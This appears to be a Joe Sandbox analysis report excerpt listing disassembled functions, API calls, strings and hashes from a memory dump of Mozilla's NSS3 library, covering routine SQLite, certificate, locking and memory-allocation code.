sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7F4E4D

Strings

invalid, xrefs: 6C7F4E25
%s at line %d of [%.10s], xrefs: 6C7F4E47
API call with %s database connection pointer, xrefs: 6C7F4E2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7F4E38
misuse, xrefs: 6C7F4E42

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 6caaeabc0e4fbf9a8af547d55372f1479c4a87ef2620d683d3b4bc9acc75ae89
Instruction ID: c87383946c4308da19f6d3038a4b2f371d898707865aac0f14cd00e7620bd0da
Opcode Fuzzy Hash: 6caaeabc0e4fbf9a8af547d55372f1479c4a87ef2620d683d3b4bc9acc75ae89
Instruction Fuzzy Hash: C3F02E11F445282BE72040159F90FC3379D4702339F4A48F1EE1477F92D649A87672D5

Function 6C760C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C761444,?,00000001,?,00000000,00000000,?,?,6C761444,?,?,00000000,?,?), ref: 6C760CB3

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C761444,?,00000001,?,00000000,00000000,?,?,6C761444,?), ref: 6C760DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C761444,?,00000001,?,00000000,00000000,?,?,6C761444,?), ref: 6C760DEC

Part of subcall function 6C780F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C722AF5,?,?,?,?,?,6C720A1B,00000000), ref: 6C780F1A
Part of subcall function 6C780F10: malloc.MOZGLUE(00000001), ref: 6C780F30
Part of subcall function 6C780F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C780F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C761444,?,00000001,?,00000000,00000000,?), ref: 6C760DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C761444,?,00000001,?,00000000), ref: 6C760E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C761444,?,00000001,?,00000000,00000000,?), ref: 6C760E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C761444,?,00000001,?,00000000,00000000,?,?,6C761444,?,?,00000000), ref: 6C760E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C761444,?,00000001,?,00000000,00000000,?), ref: 6C760E79

Part of subcall function 6C771560: TlsGetValue.KERNEL32(00000000,?,6C740844,?), ref: 6C77157A
Part of subcall function 6C771560: EnterCriticalSection.KERNEL32(?,?,?,6C740844,?), ref: 6C77158F
Part of subcall function 6C771560: PR_Unlock.NSS3(?,?,?,?,6C740844,?), ref: 6C7715B2

Part of subcall function 6C73B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C741397,00000000,?,6C73CF93,5B5F5EC0,00000000,?,6C741397,?), ref: 6C73B1CB
Part of subcall function 6C73B1A0: free.MOZGLUE(5B5F5EC0,?,6C73CF93,5B5F5EC0,00000000,?,6C741397,?), ref: 6C73B1D2

Part of subcall function 6C7389E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C7388AE,-00000008), ref: 6C738A04
Part of subcall function 6C7389E0: EnterCriticalSection.KERNEL32(?), ref: 6C738A15
Part of subcall function 6C7389E0: memset.VCRUNTIME140(6C7388AE,00000000,00000132), ref: 6C738A27
Part of subcall function 6C7389E0: PR_Unlock.NSS3(?), ref: 6C738A35

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 2023ce2388406321aa8d9881c25177dbea95dfce3d080500ede5ee940caca739
Instruction ID: 2a7ea51a3c9f7660fd1f7ce1847d55ec91cd169a7756f8cf924872fb2b8fee4b
Opcode Fuzzy Hash: 2023ce2388406321aa8d9881c25177dbea95dfce3d080500ede5ee940caca739
Instruction Fuzzy Hash: E551E7F6E002115FEB01AF65DE89AAB37A8AF0531CF154534EC0997B02F731ED1887A6

Function 6C716E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C716ED8
sqlite3_value_text.NSS3(?,?), ref: 6C716EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C716FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C716FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C716FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C717010
sqlite3_value_blob.NSS3(?,?), ref: 6C71701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C717052

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 418aac1c9a078847816cf0e472d7c637be8b71153a5353b41e067b46a6e4ba13
Instruction ID: 2aaa68d7181deed0a5594ea02d0c260a58308583003ee89a24ed87596cb8c409
Opcode Fuzzy Hash: 418aac1c9a078847816cf0e472d7c637be8b71153a5353b41e067b46a6e4ba13
Instruction Fuzzy Hash: 7861AFB1E182098FDB00CFA8DA447EEB7B6EF85208F2C4164D815ABF51E7319E05CB90

Function 6C76CA30 Relevance: 12.2, APIs: 8, Instructions: 174COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C76CA95
EnterCriticalSection.KERNEL32(00000000), ref: 6C76CAA9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,00000000,?,6C76C8CF,?,?,?), ref: 6C76CAE7
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76CB09
PK11_GetBlockSize.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?,6C76C8CF,?,?,?), ref: 6C76CB31

Part of subcall function 6C761490: PORT_Alloc_Util.NSS3(0000000C,?,?,?,?,6C76CB40,?,00000000), ref: 6C7614A1
Part of subcall function 6C761490: PORT_ZAlloc_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,6C76C8CF,?), ref: 6C7614C7
Part of subcall function 6C761490: memset.VCRUNTIME140(00000000,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7614E4
Part of subcall function 6C761490: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000), ref: 6C7614F5

PR_Unlock.NSS3(?), ref: 6C76CB97
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C76CBB2
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C76C8CF), ref: 6C76CBE2

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: UnlockUtil$Alloc_$BlockCriticalEnterErrorItem_K11_SectionSizeValueZfreememcpymemset
String ID:
API String ID: 2753656479-0
Opcode ID: c9e72e141a1bc68f5c737f3275f82b8102bcb3ee065c6725936c02b7bce606f4
Instruction ID: ea0c78f15254381f0a0f48bc500b7c0d5772bd126bf7af416153b0c45d2301f0
Opcode Fuzzy Hash: c9e72e141a1bc68f5c737f3275f82b8102bcb3ee065c6725936c02b7bce606f4
Instruction Fuzzy Hash: 01514E71E001099BDF11DFA9DA88ADEB7B8BF09359F144165EC08A7A01E731E964CBA1

Function 6C788F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C787313), ref: 6C788FBB

Part of subcall function 6C7807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C728298,?,?,?,6C71FCE5,?), ref: 6C7807BF
Part of subcall function 6C7807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7807E6
Part of subcall function 6C7807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C78081B
Part of subcall function 6C7807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C780825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C787313), ref: 6C789012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C787313), ref: 6C78903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C787313), ref: 6C78909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C787313), ref: 6C7890DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C787313), ref: 6C7890F1

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C787313), ref: 6C78906B

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C787313), ref: 6C789128

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: fced7f34d8a0b3bec9ac85265c3da3cb5651fdfe3913eb22f4a703e98168140c
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 8951B371E062029FEB10CF6ADE48B66B3F5AF64358F154039DA15D7B51E732E804CB91

Function 6C739C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C738850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C740715), ref: 6C738859
Part of subcall function 6C738850: PR_NewLock.NSS3 ref: 6C738874
Part of subcall function 6C738850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C73888D

PR_NewLock.NSS3 ref: 6C739CAD

Part of subcall function 6C7E98D0: calloc.MOZGLUE(00000001,00000084,6C710936,00000001,?,6C71102C), ref: 6C7E98E5

Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107AD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107CD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107D6
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6A204A), ref: 6C7107E4
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,6C6A204A), ref: 6C710864
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C710880
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,6C6A204A), ref: 6C7108CB
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108D7
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108FB

TlsGetValue.KERNEL32 ref: 6C739CE8
EnterCriticalSection.KERNEL32(?,?,6C73ECEC,6C742FCD,00000000,?,6C742FCD,?), ref: 6C739D01
TlsGetValue.KERNEL32(?,?,?,6C73ECEC,6C742FCD,00000000,?,6C742FCD,?), ref: 6C739D38
EnterCriticalSection.KERNEL32(?,?,6C73ECEC,6C742FCD,00000000,?,6C742FCD,?), ref: 6C739D4D
PR_Unlock.NSS3 ref: 6C739D70
PR_Unlock.NSS3 ref: 6C739DC3
PR_NewLock.NSS3 ref: 6C739DDD

Part of subcall function 6C7388D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C740725,00000000,00000058), ref: 6C738906
Part of subcall function 6C7388D0: EnterCriticalSection.KERNEL32(?), ref: 6C73891A
Part of subcall function 6C7388D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C73894A
Part of subcall function 6C7388D0: calloc.MOZGLUE(00000001,6C74072D,00000000,00000000,00000000,?,6C740725,00000000,00000058), ref: 6C738959
Part of subcall function 6C7388D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C738993
Part of subcall function 6C7388D0: PR_Unlock.NSS3(?), ref: 6C7389AF

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: dd11c0c540d65bc0b8b6bad7b07df2a9de34e982d7400b27816ff88ccca236f8
Instruction ID: 327f184e181e6c0d7eb8937492f0bdbf8087bec4ac91ffbfab1d9ef182d81372
Opcode Fuzzy Hash: dd11c0c540d65bc0b8b6bad7b07df2a9de34e982d7400b27816ff88ccca236f8
Instruction Fuzzy Hash: 415173B1A156159FDB01EF68C24A69ABBF0BF54308F059529D89CDB712EB30E844CBD1

Function 6C7688E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7688FC

Part of subcall function 6C77BE30: SECOID_FindOID_Util.NSS3(6C73311B,00000000,?,6C73311B,?), ref: 6C77BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C768913

Part of subcall function 6C780FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7287ED,00000800,6C71EF74,00000000), ref: 6C781000
Part of subcall function 6C780FF0: PR_NewLock.NSS3(?,00000800,6C71EF74,00000000), ref: 6C781016
Part of subcall function 6C780FF0: PL_InitArenaPool.NSS3(00000000,security,6C7287ED,00000008,?,00000800,6C71EF74,00000000), ref: 6C78102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6C84D864,?), ref: 6C768947

Part of subcall function 6C77E200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6C77E245
Part of subcall function 6C77E200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C77E254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C76895B
DER_GetInteger_Util.NSS3(?), ref: 6C768973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C768982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C7689EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C768A12

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: 6c0919f7a29d8e9e9f347c1d1c0ddea5faa7823f4a6f93a3249aeeff344a16a2
Instruction ID: 8e4816539919205d8c113bed71b615ba1b99992f078ff474e507b0a4477b8eb4
Opcode Fuzzy Hash: 6c0919f7a29d8e9e9f347c1d1c0ddea5faa7823f4a6f93a3249aeeff344a16a2
Instruction Fuzzy Hash: FD314CB1A0470057FB20423BAE497AA3A955F9232CF240B37DD16D7F81FB21C4468393

Function 6C72DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C72DCFA

Part of subcall function 6C7E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C830A27), ref: 6C7E9DC6
Part of subcall function 6C7E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C830A27), ref: 6C7E9DD1
Part of subcall function 6C7E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7E9DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C72DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C72DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C72DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C72DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C72DD8F

Part of subcall function 6C7406A0: TlsGetValue.KERNEL32 ref: 6C7406C2
Part of subcall function 6C7406A0: EnterCriticalSection.KERNEL32(?), ref: 6C7406D6
Part of subcall function 6C7406A0: PR_Unlock.NSS3 ref: 6C7406EB

CERT_DestroyCertificate.NSS3(?), ref: 6C72DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C72DDB7

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: fb4b9eafab74633ceed9d9f680f456b735ba31f19e8b0cd3256bd831d4c0c94c
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: AD21D1B6E005155BDF019E95DE46ADE77B4AF25208F180032EC04A7701F739E904CBE1

Function 6C830860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6C837AE2,?,?,?,?,?,?,6C83798A), ref: 6C83086C

Part of subcall function 6C830930: EnterCriticalSection.KERNEL32(?,00000000,?,6C830C83), ref: 6C83094F
Part of subcall function 6C830930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C830C83), ref: 6C830974
Part of subcall function 6C830930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C830983
Part of subcall function 6C830930: _PR_MD_UNLOCK.NSS3(?,?,6C830C83), ref: 6C83099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6C837AE2,?,?,?,?,?,?,6C83798A), ref: 6C83087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6C837AE2,?,?,?,?,?,?,6C83798A), ref: 6C830892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6C83798A), ref: 6C8308AA
free.MOZGLUE(?,00000000,00000000,?,?,6C837AE2,?,?,?,?,?,?,6C83798A), ref: 6C8308C7
free.MOZGLUE(?,00000000,00000000,?,?,6C837AE2,?,?,?,?,?,?,6C83798A), ref: 6C8308E9
free.MOZGLUE(?,6C837AE2,?,?,?,?,?,?,6C83798A), ref: 6C8308EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6C837AE2,?,?,?,?,?,?,6C83798A), ref: 6C83090E

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: 8017926352699bd30865cf9fe8d5170e53363c7a58b811bbb8d1570b8caad19b
Instruction ID: 193545afc29be08c554f3c6e27e0e0685bbecda917960fab54bd1dffa08d8e88
Opcode Fuzzy Hash: 8017926352699bd30865cf9fe8d5170e53363c7a58b811bbb8d1570b8caad19b
Instruction Fuzzy Hash: 57117FB1B032614BEF209A98DE4978A3778AB4225CF192534E86987A41DF71E804CBD2

Function 6C723C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C79460B,?,?), ref: 6C723CA9
EnterCriticalSection.KERNEL32(?), ref: 6C723CB9
PL_HashTableLookup.NSS3(?), ref: 6C723CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C723CD6
PR_Unlock.NSS3 ref: 6C723CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C723CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C723D03
PR_Unlock.NSS3 ref: 6C723D15

Part of subcall function 6C7CDD70: TlsGetValue.KERNEL32 ref: 6C7CDD8C
Part of subcall function 6C7CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 5a188e128363a4cbfeffd4d37c30db61533076b340932f74ffc6dbfe9cfc0367
Instruction ID: 0d0cf3e3755ac6f218d700c1472c2ea7be7aa644ffa0ea99938748fc9780a9b9
